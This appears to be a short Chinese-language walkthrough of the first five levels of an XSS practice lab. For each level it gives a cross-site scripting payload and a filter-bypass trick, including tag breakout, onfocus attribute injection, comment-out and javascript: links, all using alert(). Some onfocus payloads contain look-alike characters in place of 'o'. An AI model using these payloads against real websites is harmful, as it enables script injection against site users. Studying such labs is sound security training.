Level 1
发现参数name的内容是一个注入点,并且没有任何过滤
payload:?name=test<script>alert('xss')</script>
Level 2
和第一关差不多,在搜索框中输入
<script>alert('xxs')</script>
没有出现弹窗
查看一下源代码
需要把前面的<input>
标签给闭合掉
在搜索框中输入
"><script>alert('xxs')</script><"
Level 3
查看源码,value为单引号闭合
在搜索框中输入
<script>alert('xxs')</script>
查看源代码,输入点在value属性里面
发现<
和>
被转义了
方法一:
我们用javascript里边的onfocus事件,并且使用'
把value给闭合掉。
在搜素框中输入
xss' οnfοcus=javascript:alert("xss") '
Level 4
在搜索框中输入
<script>alert('xxs')</script>
查看源码,输入点在value属性里面
方法一:
发现过滤了<
和>
,用双引号"
把value闭合。
继续在搜素框中输入
xss" οnfοcus=javascript:alert("xss") "
方法二:
payload: "οnfοcus=alert(1)
闭合了前面的双引号,但是后面多了一个双引号,用//
注释掉
Payload:
"οnfοcus=alert(1)//
Level 5
在搜索框中输入
<script>alert('xxs')</script>
查看源码
发现script被转义为scr_ipt
在搜素框中输入
"><a href="javascript:alert('xss')">test</a>